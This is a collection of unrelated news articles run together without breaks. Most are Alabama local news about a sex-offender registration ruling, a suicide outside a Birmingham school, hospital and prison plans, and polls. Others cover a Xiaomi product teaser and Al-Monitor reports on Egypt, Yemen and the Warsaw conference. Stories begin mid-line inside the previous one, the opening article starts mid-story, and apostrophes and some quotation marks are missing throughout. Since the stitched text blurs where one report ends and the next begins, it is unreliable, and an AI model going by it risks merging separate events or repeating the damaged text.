The judgment was in favor of the plaintiffs claims that sex offender registration laws have changed since 2003 when the U.S. Supreme Court upheld a registration scheme that imposed registration and internet notification only with effects that were minor and indirect. Watkins also ruled in favor of the plaintiffs claims that aspects of Alabamas sex offender reporting laws are so vague that full compliance with the law is impossible.

Alabamas sex offender registration and notification laws have been called some of the most stringent in the nation.

The office of Attorney General Steve Marshall responded to a request for comment Wednesday morning.

Responding to your inquiry, the Alabama Attorney Generals Office is reviewing the federal court ruling and has no further comment at this time, Communications Director Mike Lewis said in an email to AL.com.

Updated at 4:02 p.m. Wednesday to include a statement from the Office of Attorney General Steve Marshall.

Read Watkins full ruling here:A man shot himself to death this morning in front of a Birmingham city school.

The man drove up to W.J. Christian K-8 School on Mountain Road, parked his car and shot himself in the vehicle, which was stopped at the front of the school entrance. Birmingham police and Birmingham Fire and Rescue Service were called to the school at about 11:51 a.m. The man was pronounced dead on the scene.

Police say they do not believe students witnessed the incident. The school was placed on lockdown and students ushered to another part of the building. The man is not a student or staffer, police say.

A woman who said she has two nieces at the school said she is a family member of the man who took his life.

Several Birmingham City Schools officials quickly responded to the scene. They are decided whether to dismiss school early. Several counselors also arrived at the school at the request of officials.

The driveway to the entrance is blocked by police tape. School officials entered the building through the gym, which is on the other side of the school.

"Its tragic somebody would do this in front of a school with children inside,'' said East Precinct commander Capt. Allen Hatcher.

Police are not yet releasing additional details about the man because his family has not been notified.

This is a developing story and will be updated.

Here are warning signs to watch for if you fear someone is suicidal and resources that can help those thinking of harming themselves or who fear a loved one might harm themselves.

WARNING SIGNS

Threatening to hurt or kill oneself or talking about wanting to hurt or kill oneself.

Looking for ways to kill oneself by seeking access to firearms, available pills, or other means.

Talking or writing about death, dying, ''ending the pain'' or suicide.

Feeling hopeless.

Acting reckless or engaging in risky activities - seemingly without thinking.

Feeling trapped - like there's no way out.

Increasing alcohol or drug use.

Withdrawing from friends, family, social support and society.

Feeling anxious, agitated, or unable to sleep or sleeping all the time.

Experiencing significant mood changes.

Seeing no reason for living or having no sense of purpose in life.

Feeling rage or uncontrolled anger or seeking revenge.

HOW TO HELP

Ask the person directly if he or she is having suicidal thoughts, has a plan to do so, and has access to lethal means.

If you think the person might harm him- or herself, do not leave the person alone.

Take seriously all suicide threats and all past suicide attempts, even if he or she minimizes your concerns.

Be direct. Talk openly and matter-of-factly about suicide.

Be willing to listen and be non-judgmental. Don't debate whether suicide is right or wrong, or whether feelings are good or bad. Don't lecture on the value of life or whether suicide is viewed by some as a sinful, selfish or angry act. Respect that suicidal feelings are most likely related to ending emotional or psychological pain.

Get involved. Become available. Show interest and support. Take into account other trusted friends, family members or allies who can be a part of a supportive team.

Don't dare him or her to do it.

Don't act shocked. This may translate as criticism or judgment and weaken trust between you.

Don't be sworn to secrecy. Acknowledge that all suicidal risk is to be taken seriously and firmly and gently explain that you are seeking support.

Offer hope that alternatives are available but do not offer glib reassurance.

Take action. Remove means, such as guns or stockpiled pills.

Get help from persons or agencies specializing in crisis intervention and suicide prevention.

Resources in Alabama

Sources: The National Suicide Prevention Lifeline and The Alabama Suicide Prevention and Resource CoalitionYouve heard, maybe, that Huntsville is on track to soon be Alabamas largest city.

And given those projections, Huntsville Hospital is trying to keep up.

At a Wednesday press conference, hospital leaders discussed the major expansion first announced last year that will add 72 private patient rooms and 24 state-of-the-art operating rooms in a seven-story, 375,000 square foot tower across Gallatin Street from the main hospital entrance.

The additional patient beds will allow us to meet the growing needs of additional medical beds in the main hospital, said Jeff Samz, chief operating officer of the Huntsville Hospital Health System. This helps us grow and service community needs and helps us provide private hospital rooms and medical beds to keep up with the growth in the community.

As Huntsville grows, the hospital system with more than 2,200 patient beds and 15,000 employees is attempting to reflect that growth.

Were trying to prepare for three or five years down the road, hospital CEO David Spillers said. You know about Mazda Toyota, you know about FBI, so when we developed our strategic plan looking into the future, we have to build buildings to accommodate that.

Mazda Toyota Manufacturing USA is under construction in west Huntsville with the promise of 4,000 direct jobs and thousands more expected to be created as a result of the plant. The FBI announced in November than 1,350 employees were transferring to Huntsville and more are expected in the coming years.

In addition to this major construction project, we have major construction projects going on at a Decatur campus, weve expanded our Athens campus, Spillers said. We have expanded the Madison campus and well expand that campus more in the future. Were trying to stay ahead of that growth.

The project, however, is not simply a race against population growth. Spillers said that Huntsville Hospital has become a more attractive medical option, which helps keep the hospitals 800 beds at or near capacity on a daily basis.

More patients are choosing to drive 50 or 60 or 70 miles to Huntsville to have health care here, Spillers said. People who traditionally went to Vanderbilt (in Nashville) or UAB (in Birmingham) or Erlanger (in Chattanooga) are choosing to come here because we have the breadth of service where we can treat anybody those facilities can treat. Its a combination of things thats requiring us to continue to invest in healthcare in our community.

The tower is expected to even impact the hospitals emergency room, which can operate more efficiently with more patient beds available, Spillers said.

The trickle-down effect is its going to help all the patients that come into our hospital, he said.

Site prep work is underway at the $150 million facility, which will be known as the Orthopedic & Spine Tower. It will feature patient rooms dedicated to orthopedic and spine patients as well as a new home for the hospitals Joint Camp program  which provides specialized care and group physical therapy for joint replacement patients. And the rehab area will have the amenity of a natural light setting through the facilitys glass exterior.

There will also be a restaurant on the ground floor of the new tower.

Spillers said construction on the building itself should begin in the early summer and will open in 2021.Federal Emergency Management Agency administrator Brock Long has resigned from his post, the department announced Wednesday. Peter Gaynor, who has served as Longs deputy, will assume acting administrator duties in his place.

Long's improper use of government resources cost taxpayers $94,000 in staff salary, $55,000 in travel expenses and $2,000 in vehicle maintenance, the Department of Homeland Security's inspector general determined last year.

Long had served as the head of the agency for the past two years and will be temporarily replaced by Deputy Administrator Pete Gaynor, Homeland Security Secretary Kirstjen Nielsen said.

While this has been the opportunity of the lifetime, it is time for me to go home to my family - my beautiful wife and two incredible boys, Long said in a statement. As a career emergency management professional, I could not be prouder to have worked alongside the devoted, hardworking men and women of FEMA for the past two years.

Long previously ran Alabamas Emergency Management Agency and served as the states on-scene incident commander during the Deepwater Horizon oil spill in 2010.A work-release inmate who walked away from a Limestone County job site has been recaptured, according to the Limestone County Sheriffs Office.

Law enforcement officials used a tracking dogs and a helicopter to search for Joseph Lee Davis Jr., 25, Tuesday afternoon. Sheriffs spokesman Stephen Young walked off a work site at Cast Products, Inc. on Alabama 127.

UPDATE: Captured! LCSO investigators have arrested escaped inmate Jospeh Davis. Press release with more details will be sent Wednesday morning. https://t.co/sdYye1fBYw  Limestone Sheriff (@LimestoneCoSO) February 13, 2019

His girlfriend, Sandi Slaton, a 33-year-old from Athens, is jailed with bail set at $30,000, records show. Shes charged with facilitating an escape and promoting prison contraband, both of which are felonies, officials said.

Officials said further details about the escape will be released Wednesday morning.Nearly 20 years ago investigators from the Baldwin County Sheriffs office pulled the body of a man out of Styx River in the Seminole Community of the county.

The man, who was found March 26, 2000, was never identified, and no foul play is suspected.

The body was found in the river south Hwy. 90.

The body was that of an Asian or Native American male 47-53 years of age, said the Baldwin County press office. The person would be 66-72 years of age today.

The man also had dark hair and a goatee. Several distinctive tattoos are also on the mans body.

If anyone has information about this case, please contact the Investigations Command of the Sheriffs Office: 251-972-8589 or the Communications Division: 251-937-0202A pair of old newspaper articles led a group of Jefferson County residents to the discovery of a black man who was killed by a white mob in the late 1890s.

John McKinzie was shot and killed at Brookside Mines located in northwest Jefferson County on March 22, 1897. Details surrounding McKinzie's death were unearthed by the Jefferson County Memorial Project. This citizen-led effort to open a memorial honoring the African Americans who were lynched or murdered by racial violence in Jefferson County is only a couple months old.

Abigail Schneider, JCMP's project director, said she was researching a separate lynching death when she found two newspaper articles about McKinzie's death on Oct. 24. Schneider said McKinzie was trying to protect a local black leader, Henry Johnson, from being arrested for disorderly conduct. The JCMP said black residents were often charged with disorderly conduct when they resisted intimidation and mistreatment.

When Johnson called for help, McKinzie and a few other men came to Johnson's aide. Schneider said several shots were fired by a mob composed of both white police officers and citizens, killing McKinzie.

"Mr. McKinzies murder illustrates again how the history of Birmingham as an industrial city is entwined with its history of racial violence, Schneider said. Many of the acts of racial terror violence that occurred in Jefferson County revolved around labor or union disputes at mines. These racial terror lynchings ensured black workers did not have access to the same economic opportunity or civil rights as their white counterparts.

Schneider sent the information to the Equal Justice Initiative, an organization which conducted the research that led to creation of the National Memorial for Peace and Justice in Montgomery. EJI confirmed the racially-charged nature of McKinzie's death on Jan. 29.

Organizers with the Jefferson County Memorial Project hope to unveil their monument with the same energy and style as EJI's opening for the National Memorial. More than 800 steel slabs engraved with the names of lynched victims hang from the ceiling of EJI's memorial. Each slab represents a county where a lynching was documented. Duplicate slabs were created in hopes that the counties would claim them and use them to create their own memorials.

The JCMP plans to do that by brining the Jefferson County slab to Birmingham's Linn Park, which was the site of the county's first lynching. Originally, 29 people were thought to have been killed by lynchings and other forms of racial killings between 1877 and 1950 in Jefferson County. McKinizie raises that total to 30.

The JCMP will be hosting a public event to publish a report on the victims of Jefferson County on Feb. 27 at UAB's Abroms-Engel Institute for the Visual Arts from 5:30 p.m. until 7 p.m. JCMP fellows will talk about their research process and what people can learn from the victims' histories during the event.

Schneider said she wasn't shocked to find another victim in Jefferson County.

It reminds us that there are undocumented victims of racial violence who we may not know about because they have been erased from public record and memory, Schneider said.

This article is featured in the Black Magic Project, which is a series of stories focusing on those who do inspiring things in the black community. If youre a Facebook user, you can join our Black Magic Project group, where we talk about stories and issues concerning black Alabamians.The chairman of the Democratic Caucus in the Alabama House of Representatives said Alabamians should be alarmed over Gov. Kay Iveys plans to spend close to $1 billion on three new mens prisons, possibly without seeking legislative approval.

Rep. Chris England, D-Tuscaloosa, said a plan under consideration by the Ivey administration to lease prisons built by private companies would put too much power in the executive branch without oversight from the Legislature.

That should scare anybody that one person has the ability to spend that much money, England said.

The Ivey administration has not committed to the plan to lease prisons built by private companies. The governor said other options are on the table, including a bond issue for the state to build the prisons.

England questioned how the state could commit to building three new prisons for men while not replacing Julia Tutwiler Prison for Women, which opened in 1942.

How does it sound that were going to allow the women to dwell in the worst prison in the state of Alabama because we want to save money for the mens prisons? England asked.

Alabama Department of Corrections Commissioner Jeff Dunn said Tuesday replacement of mens facilities is a higher priority. The ADOC says unsafe conditions in mens prisons pose more danger for inmates and staff and higher risk of costly liabilities and lawsuits.

Dunn also said conditions at Tutwiler have improved dramatically in the last four years.

Its just putting lipstick on a pig, England said. Its still a pig.

Some others were more receptive to the plans outlined Tuesday by Ivey and Dunn at a press briefing in the governors office.

Several Republican lawmakers praised the plan, at least as an initial step. The Southern Poverty Law Center, which represents Alabama inmates in a lawsuit that has driven changes in the prison system, responded to Iveys plan with hope mitigated by concern.

Ivey said the state has waited too long to confront the major problems posed by its overcrowded, understaffed and violent prisons. She said new prisons were one component in a broader plan that also includes better pay to hire and retain correctional officers in a system with about half the needed staff.

Dunn said new prisons would be more conducive to educational, treatment and rehabilitation programs that can cut the recidivism rate.

Hoar Program Management, hired under an $11.5 million contract with the ADOC, is developing plans to request proposals from companies to build the three prisons at locations to be determined. Many of the existing mens prisons would close. Those have not been named. New prisons are expected to open in 2022.

Two of the new prisons would house 3,000 to 3,500 inmates, while a third would be larger and would include centralized services for prisoners with special needs, such as the oldest and sickest and the mentally ill.

U.S. District Judge Myron Thompson ruled in 2017 that mental health care in Alabama prisons failed to meet constitutional standards. Dunn said health care was an after thought in the design of current prisons and that new facilities would help improve treatment.

Dunn said an analysis by HPM has shown that money saved by closing the old prisons and consolidating operations will be enough to pay for the new prisons.

England said that was not realistic.

Thats obviously Montgomery magic money, England said. "The upfront costs are going to be tremendous just to start building them. And the cost savings are not going to cover that."

Senate President Pro Tem Del Marsh, R-Anniston, said he hopes to learn more about the Ivey administrations plans in the next couple of weeks but applauded the concept. Lawmakers failed to agree on proposed prison plans in 2016 and 2017, partly because of concerns over jobs lost in districts where prisons would close and where new prisons would be built. Former Gov. Robert Bentley proposed an $800 million prison bond issue.

Marsh said Ivey might be on the right track in coming up with a way to avoid another stalemate in the Legislature.

We all know weve got to address this problem with overcrowding in the prisons and make sure the federal courts dont try to step in, Marsh said. If she can get it done fairly close to the same price tag without having to deal with the political pressure from those members who feel their local areas might be impacted, its probably a good thing.

Sen. Billy Beasley, D-Clayton, represents a southeast Alabama district that is home to three prisons. Beasley said the cities of Clio and Clayton recruited prisons because of the economic benefit and borrowed money to upgrade their water treatment plants to support the prisons.

The senator said the state should hire more correctional officers and boost their pay and install the best surveillance systems available in the current prisons, rather than close them.

Beasley does not believe savings from closing old prisons and consolidation would cover the cost of new prisons, as the ADOC maintains.

I just think were going down the wrong path, Beasley said.

House Minority Leader Anthony Daniels, D-Huntsville, said prison construction is not the only answer to problems like overcrowding and access to mental health care for prisoners. Daniels said higher priorities for him are criminal justice reforms that would result in fewer people going to prison and jail, such as decriminalizing marijuana and making sure that people arent stuck in jail on minor offenses because they cant pay bail.

I understand the governor wants to focus on solving a problem, Daniels said. "But I think the problem is deeper than construction. And I think oftentimes in government we miss the point and I think this is one of those times."

Daniels said the House Democratic Caucus would propose a criminal justice legislation package.

The Legislature passed criminal justice reforms in 2015 that officials say have resulted in fewer nonviolent offenders going to prison and have helped drop the prison occupancy rate from 200 percent to 160 percent. Sen. Cam Ward, R-Alabaster, a leader in those efforts, said the only sentencing reforms that could further reduce the prison population would be shorter terms for violent offenders.

And I dont think theres a will to do that with those violent offenders, Ward said. "Nor should there be, in my opinion."

Ward said prison construction has always been one necessary component for fixing Alabamas long-troubled correctional system.

Ive always said thats one piece of the pie but thats not the entire issue, Ward said.

Ward said he believes the plan to pay for new prisons with savings from closing old ones and consolidating services is feasible.

Ive looked at the numbers and I feel like they can, Ward said. "But thats where the Legislature is going to have to really stay on top of them as far as the appropriations process, making sure they adhere to the savings they promised."

Rep. Randall Shedd, R-Cullman, sent out a statement today applauding Iveys plan as bold.

Trust in her integrity, deliberative and methodical planning and her leadership gives me the confidence to support her on this issue, Shedd said. We have to think of the publics safety, inmates human decency and stay ahead of the courts to solve this problem."

Southern Poverty Law Center attorney Ebony Howard said in a statement today that the SPLC agreed with some of Iveys points such as the need for more correctional staff. Howard said some prisons do need to be eventually replaced with facilities that promote constitutional conditions and provide prisoners with access to rehabilitative programming.

But Howard said theres far more the state can do to reduce the number of people incarcerated. She said sentencing reforms passed in 2015 did not go far enough.

Neighboring southern states have moved forward with reforms like minimizing criminalization of marijuana related offenses and increasing threshold amounts for property related offenses that Alabama could consider during the forthcoming session, Howard said. Implementing these reforms could help reduce Alabamas prison population from the 160 percent of capacity it is at now to levels that will be safer, more manageable, and less costly to the state. The governor and legislature should investigate these cost-saving, public-safety-improving measures with at least as much zeal as they are pursuing a costly prison construction plan.

Edited at 6:57 a.m. to change references to today to Tuesday. Updated at 2:30 p.m. on Feb. 13 to add comments from Sen. Billy Beasley.Xiaomi is all set to reveal a new product in India today. The Chinese consumer electronics major had already teased the launch on Tuesday on Twitter with a cryptic message that said, "Never take your eyes off". Going by the message, Xiaomi could launch a new line of security or surveillance cameras in India. The new product could be an addition to the existing Mi Home Security Camera 360 which is available for Rs 2,699 in India.

Xiaomi has not revealed much about the new product. However, if the cryptic message is anything to go by then we might end up seeing the Mi Home Security Camera in the market. The security camera is sold at CNY 129 (approximately Rs 1,400) in China. Carrying the model number SXJ02ZM, the Mi Home Security Camera supports 1080p video recording and features a 130-degree wide-angle lens.

The Mi Home Security Camera packs artificial intelligence (AI) powered detection engine, infrared night vision, and two-way audio communication. Other features include secure local storage, cloud NAS storage, and normal cloud storage support. Xiaomi could also launch a 360-degree action camera called the 'Mi Sphere' in India. It has a 23.88 effective MP sporting the Sony IMX 206 sensor, the ability to shoot video in 3.5K and also boasts 6-axis EIS. It can stream in 1440x720 at 30fps. It can record video in 3456x1728 at 30fps, 2304x1152 at 60fps and 2304x1152 at 30fps. The camera is powered by a 1600mAh battery, which according to Xiaomi can last for 75 minutes of video recording with Wi-Fi on and 90 minutes video recording with Wi-Fi off. It supports 2.4GHz Wi-Fi only and for storage can house a microSD card (up to 128GB).

All of this is just a speculation at the moment and Xiaomi could come up with something completely different. Xiaomi has a portfolio of products that aren't available in India and it could launch any one of them today.

Edited By: Udit Verma

Also Read: WhatsApp's big feature! Admins will soon have to seek permission before adding users to groups

Also Read: Redmi Note 7 creates a record, sells 10 lakh units in 3 weeks in ChinaPresident Trumps approval rating in Alabama has slipped since he was elected, though it remains the third highest in the country, according to a new poll.

Morning Consults monthly tracking poll for January shows 58 percent of Alabamians approve of the job the president is doing, a number behind only Wyoming (63 percent) and West Virginia (60 percent).

Thirty-eight percent of Alabamians disapproved of the job Trump was doing, for a net approval of 20 points.

In January 2017, Trumps approval rating was 62 percent with disapproval of 26 percent for a net approval of 36 points.

Overall, the presidents net approval rating was down double digits in every state when comparing January 2019 to the same time in 2017.

Trumps top 10 approval ratings for January 2019 were in:

Wyoming  63 percent

West Virginia  60 percent

Alabama  58 percent

Idaho  56 percent

Kentucky  55 percent

Louisiana  55 percent

Mississippi  54 percent

Tennessee  54 percent

Oklahoma  53 percent

Arkansas  53 percent

The presidents lowest approval ratings were in:

Washington, D.C.  16 percent

Vermont  31 percent

Massachusetts  33 percent

California  33 percent

Maryland  33 percent

Hawaii  34 percent

Washington  35 percent

New York  36 percent

Connecticut  36 percent

Illinois  37 percentBusiness Facilities Magazine has awarded its silver award for the 2018 Economic Development Deal of the Year to Alabamas Department of Commerce for landing the Mazda-Toyota auto plant in Huntsville.

The award came in the magazines January/February issue and recognizes large scale economic development projects. The gold medal went to New York and Virginias economic development teams for the behemoth Amazon HQ2 project. Bronze honors went to Michigan Economic Development Corp. for the revitalization of Detroits Michigan Central Station Depot.

Mazda and Toyota announced last January they would build a joint $1.6 billion manufacturing plant in Huntsville. The two companies broke ground on the project in November.

The project promises 4,000 new jobs, and the expectation that between suppliers and other surrounding development, an estimated 10,000 jobs will emerge altogether. Vehicles are expected to start rolling off the line in 2021. The factory is projected to produce about 300,000 vehicles a year.

The magazine mentioned Alabamas competitive incentive package, but noted it wasnt the largest. That would be North Carolina, which offered $1.5 billion.

Alabama could count on some advantages in this competition, the magazine wrote. For one thing, the states economic development team has been at the center of several large-scale auto projects, starting with Mercedes-Benzs search for a U.S. manufacturing site in 1993...In addition, Alabamas primary workforce development agency, AIDT, has been deeply involved in helping global automakers assemble and train skilled workforces in the state.

It also pointed to the actual construction site, which had been assembled and prepared by city and county officials, and the existing relationship with Toyota because of the companys engine plant in Huntsville.When Birmingham bride Rachel King set out to plan her wedding, she knew only one location would do. Tucked between the Teton and Gros Ventre mountain ranges, Jackson Hole, Wyoming was the dream destination for this bride and her groom, Jonathan Morton. Surrounded by 26 friends and family members, the couple recited their vows against the backdrop of a picture-perfect mountainside and stately pines decked out in autumnal glory. There wasnt a 10-person band or limousine in sight just two people committing to spend the rest of their lives together in front of their most cherished people.

It was intimatenothing too flashy, Rachel says of the wedding day, which she planned all on her own. And thats kind of how we are, anyway.

Rachel first locked eyes with Jonathan while she was enjoying a night out in downtown Birmingham with friends. After striking up a conversation and exchanging numbers, the pair soon became inseparablegetting lost in long conversations and quickly discovering their compatibility. After dating for a few years, Jonathan took Rachel to Jackson Hole for a getaway. A self-proclaimed foodie, Rachel requested that their trip include an upscale dinner with a view. After sharing a meal at The Granary Restaurant at Spring Creek Ranchwhich specializes in upscale mountain cooking with an impressive menu of wild gameJonathan took Rachel on a walk to admire the nearby mountain view. While meandering through the landscape, Jonathan dropped down on one knee and proposed.

There was no photographer, no one hiding in the bushes or anything like that, Rachel says. It was just us, and it was really sweet.

After leaving Jackson Hole as a newly engaged couple, Rachel began mapping out their big day. Inspired by Wyomings breathtaking terrain, Rachel decided to return to the site of the proposal for the wedding. Allowing guests more than a year to book the trip, the couple opted for a smaller wedding. Only 35 of their closest friends and family were invited. I couldnt imagine getting married anywhere else, Rachel says.

After scoping out social media to nail down her florist, photographer, and the actual location of their nuptials, Rachel felt confident that she had planned her ideal wedding. Her dress, which she found at Village Bridal in Homewood, matched the rustic-yet-classic aesthetic of the wedding day. Featuring a nude slip covered by ornate lacework, the gown fit seamlessly with the Western landscape.

Because Jackson Hole was already bursting with rich autumnal color for their October 5 date, Rachel chose a bouquet of verdant greens with pops of burgundy and white to contrast the countryside. After a small outdoor ceremony (which required hand-written directions to locate), guests enjoyed an upscale meal back at the couples favorite nearby restaurant, The Granary.

I wanted people to get out of their comfort zone and try something new, Rachel says of the evenings entree options, which included elk, smoked fish, and a long list of other locally sourced fare. With a breathtaking view overlooking the Tetons, the venue provided an intimate space for the couple to enjoy some celebratory drinks with their guests.

It sounds so cliche, but my best piece of advice is to truly do what you want to do, Rachel says. I never thought I would be able to get married in such a beautiful place, but we did it, and it was perfect.

VENDORS

Venue/Ceremony Location: The Wedding Tree in Bridger-Teton National Forrest

Photography: McKenzie Felt Dye

Dress: Rue De Seine at Village Bridal

Hair Accessory: Melinda Rose at Village Bridal

Flowers: MD Nursery

Celebration Dinner: The Granary at Spring Creek Ranch

Hair & Makeup: Four Seasons Jackson Hole Spa

Grooms Suit: Mens Warehouse

Wedding Maps: XOWYO Paper and Press

Wedding Rings: Diamonds Direct Birmingham

This story appears in Birmingham magazines February 2019 issue. Subscribe today!TATOUN, Egypt  With its well-kept European-style villas, high-rise buildings, chic cafes and pizzerias, Tatoun is a far cry from nearby villages in Egypts central governorate of Fayoum. The picturesque village, which has a population of 54,000, is known as Little Italy, because about one-fourth of its working-age residents live and work in Italy, sending money back home.

Many of those who have found their way across the Mediterranean have made use of the Italian legal system, which does not immediately deport unaccompanied minors, Hussein Mohammed, a member of the Tatoun village council, told Al-Monitor.

Italian legislation forbids the return of unaccompanied minors at the border, and, as per a 2017 amendment, simplifies the procedure for the issuance of a special residence permit for minors to non-asylum-seeking unaccompanied minors. Confident that they can enter the country illegally and then get a residence permit for employment or study when they turn 18, families from Tatoun do not hesitate to pay a trafficker to take their 16- and 17-year-old sons to the Italian coast.

Mohammed Ahmed went to Italy seven years ago, right before he turned 18.

Here, a man is born dreaming to migrate to Italy. Every household in this village has two or three members working in Italy, Ahmed, on a vacation in his hometown, told Al-Monitor.

He worked as a construction worker in Naples for seven years, saving just enough to buy land in his natal village. Land in Tatoun, a growing village with better infrastructure compared to nearby villages, is already expensive. Ahmed said he paid 1.5 million Egyptian pounds ($85,000) for his strip of land, about three times as much as a similar piece of land in another village. But he thought it was well worth the investment as the village was growing with newly constructed houses everywhere.

Local council member Hussein Mohammed told Al-Monitor that Tatoun is extending to the border of the neighboring villages. The villages lands are changing hands already, as some of the residents sell their agricultural land to finance the journey of their sons to Italy and those who return buy new land in the village. However, most will use the land for the construction of houses, not for agriculture. Ahmed, for example, has no intention of staying and working on the land, following in the footsteps of his father. He said that he will return to Naples to work and continue to send money to his family in the village.

Awad Hamdi, a farmer and father of three, who lives in al-Hishma village located only a few miles from Tatoun, told Al-Monitor why the younger generation is abandoning agriculture. Farmers can no longer make ends meet. Therefore they sell their strips of agricultural land to contractors who will build residences. Others who want to keep the land send their offspring to work outside the village and try to keep the farm going through what they receive, he said.

Hamdi added that the farmers who want to keep running their farms face many difficulties, ranging from water shortages to the quadrupling fertilizer prices following the government's decision to lift subsidies on fertilizers in 2014.The price of seeds has risen by 100% and the increasing price of diesel and pesticides is also affecting the situation of farmers.

The Egyptian government sends strong messages that it wants to recover the agricultural sector. On Dec. 22, President Abdel Fattah al-Sisi inaugurated the National Greenhouse Project in 10th of Ramadan City, a first-generation urban community in Sharqiyah governorate. The project, carried out by the armed forces, will establish 7,100 greenhouses in an area of 34,000 feddans (roughly 35,200 acres) to the north of Cairo. This project is in line with a major project called "1.5 Million Feddan Project" launched two years ago, which aims at reclaiming desert lands and investing in them by tapping into groundwater and aquifers.

But despite those projects, both farmers and their associations complain that the government does not make life easier for those in rural areas. According to Hussein Abu Saddam, head of the Farmers Syndicate, infrastructure such as water, sewage and transport systems, as well as schools and hospitals, are lacking in most villages.

As a result most farmers want their children to leave and work abroad, he told Al-Monitor. The new generation does not want to work on a farm like their fathers, particularly if they have a diploma that will enable them to work in another profession  even if they end up doing something that is not related to their area of study.

Nour Jaber, a farmer in Harab Shant, a village 150 kilometers (93 miles) south of Cairo, told Al-Monitor that he sent his three sons to Cairo. They work in restaurants and send money to the family and put aside some funds for the cost of their sister's wedding.

Jaber still cultivates 2 acres he inherited from his father. "I cultivate crops [such as garlic and corn] that are easy to grow as I am the only one working on this farm now," he said.

In Harab Shant village in Beni Suef governorate, most agricultural fields look neglected  a sign that young people have left the small village and there is no one to work the land. Older residents complain that there are not enough employees working on farms to cultivate the fields efficiently. Yet they acknowledge that the youth in the village are better off working elsewhere.

Shaban Jaber, Nour's brother and a father of four, told Al-Monitor that the net profit he generates every agricultural season, spanning four months, does not exceed 3,000 Egyptian pounds ($170). He said that he does not want his children to work in agriculture when they grow up.

He had to sell part of his agricultural land to constructors who wanted to build residences on them. Otherwise I would not be able to cover the familys expenses and finance the education of my children, he added.

Spokesman for the Ministry of Agriculture Hamid Abdel Dayem said that farmers are not in dire straits as the price of the cops increases, too. In a brief statement to Al-Monitor, he said, "At the time when the price of agricultural inputs has increased, the price of crops has seen a surge as well.

But the former chairman of the Horticulture Research Institute, Gharib al-Banna, simply denies that, citing the price of wheat as a example. "The state imposes a compulsory pricing mechanism on farmers, which is lower than the global price," he said.

Banna argued that farmers lives have become miserable due to the state's negligence toward them. Cultivating a strip of land no longer secures a satisfactory income that encourages the young generation to continue working in this profession, he told Al-Monitor, suggesting that the government puts in place better programs for developing agricultural villages and allocates assistance packages for farmers.The Donald Trump administration wont certify to Congress that the Saudi-led force fighting in Yemen is attempting to reduce civilian deaths in the conflict, Al-Monitor has learned, a move that would bar the Pentagon from resuming refueling to the coalition.

The decision, which had been due Feb. 9, is required by last years defense authorization bill but does not prevent the Pentagon from providing intelligence to Saudi Arabia and the United Arab Emirates.

The State Department first certified that the Saudi-led coalition had made a good faith effort to reduce civilian casualties in the four-year conflict in September in order to continue refueling. The move angered Congress just a month after a US-supplied bomb struck a Yemeni school bus far from the battlefield, killing 40 children.

They halted refueling in 2018 in vain attempt to deflect support from war powers in the Senate. It didnt work, a former US official told Al-Monitor. They can read the writing on the wall. Submit this certification again, and Congress will take you to the woodshed.

This time around, the administration has blown through the Feb. 9 deadline to issue a follow-up certification detailing demonstrable actions taken by the Saudis and the United Arab Emirates to reduce harm to civilians and damage to civilian infrastructure. In a letter sent to Secretary of State Mike Pompeo last week, the drafters of the certification language, Sens. Jeanne Shaheen, D-N.H., and Todd Young, R-Ind., urged the administration to use the new deadline to succinctly demonstrate to the Saudis and their allies that Congress and the American people will not stand for the continued disregard of the security and humanitarian interests of the US.

Frustration on Capitol Hill over the White Houses support to Saudi Arabia in Yemen has only intensified following the October murder of journalist Jamal Khashoggi. The White House failed to meet a congressional deadline to answer on potential Saudi culpability in the Washington Post contributors death last week, angering both Republicans and Democrats.

Failing to issue a new Yemen certification would make it twice in one week that the administration has ignored what is required by law, said Kate Kizer, the policy director for Win Without War, an alliance of activist groups pushing the United States to withdraw military support in Yemen. Thats sure to inflame tensions with Congress and drive further action.

In lieu of a fresh certification, the US administration appears to be taking a personal approach to dealing with Congress. A US official told Al-Monitor that Deputy Assistant Secretary for Arabian Peninsula Affairs Timothy Lenderking briefed the House Foreign Affairs Committee in a classified session on US involvement in the conflict last week.

Speaking at an event in Washington in October, Lenderking said the Saudis and the United Arab Emirates were just above a passing grade on preventing innocent deaths. The Wall Street Journal reported in September that Pompeo overruled concerns inside the State Department to renew US support for the Saudi-led war.

At the event, Lenderking said the United States supported the Saudi-led campaign in order to force the Iran-backed Houthis to the negotiating table. I dont want us to find ourselves again here in a year saying, where is that political process? he added. Saudi Arabia took refueling for the conflict against the Iran-backed Houthis into its own hands in November.

The United Nations has described the war as the worlds worst humanitarian emergency, with 10 million people on the brink of famine. Yet efforts to shore up a shaky cease-fire deal struck in Sweden late last year still appear elusive. On Tuesday, Yemeni President Abed Rabbo Mansour Hadi said he would not take part in new talks until the December deal was fully implemented.

Pompeo met with the so-called Yemen quad group on the sidelines of his Middle East conference in Warsaw today. The group includes the United States, the United Kingdom, the UAE and Saudi Arabia, as well as a Yemeni delegation.

The fallout over Yemen threatens to set back relations with Saudi Arabia, once seen by the Trump administration as the Gulf linchpin of an Arab-Israeli peace deal and US-backed reconstruction plans in northeastern Syria. House lawmakers passed another war powers resolution that seeks to cut off US support for the conflict today.

Experts say the Trump administrations silence on Saudi Arabia since the beginning of the year, after top US officials defended Riyadh despite Khashoggis killing, indicates that the White House is no longer willing to risk support within the Republican Party over the relationship.

Its been radio silence, said Scott Anderson, a former State Department official during the Barack Obama administration. My sense is that the administration is trying not to talk about their relationship with Saudi anymore. They dont want to spend the political capital or risk upsetting members of their own party.WASHINGTON  An international conference US officials had insisted was not about demonizing Iran got off to an awkward start in Warsaw today thanks to two close allies of US President Donald Trump.

First, Rudy Giuliani, Trumps personal lawyer in the Russia investigation, called for Iran regime change at a rally in Warsaw of the controversial Mujahedeen-e-Khalq (MEK), an Iranian opposition group until recently designated as a terrorist group by the United States, and widely reviled by Iranians both inside and outside of Iran as a cult that fought with Saddam Hussein during the Iran-Iraq war.

Then, Israeli Prime Minister Benjamin Netanyahu and his spokesman tweeted comments whose English translation said the Warsaw meeting was important for bringing Israel together with Arab countries to advance their common interest of war with Iran. Those tweets were subsequently deleted and reposted with the translation of Israeli-Arab common interest being in combatting Iran, but not for over an hour from the Israeli prime ministers official Twitter account.

State Department officials had already had a hard time convincing other allied nations to send their foreign ministers to the two-day supposedly ministerial conference on promoting peace and stability in the Middle East. (Netanyahu also serves as Israel's foreign minister.) In the end, only two foreign ministers came from Western Europe to Warsaw.

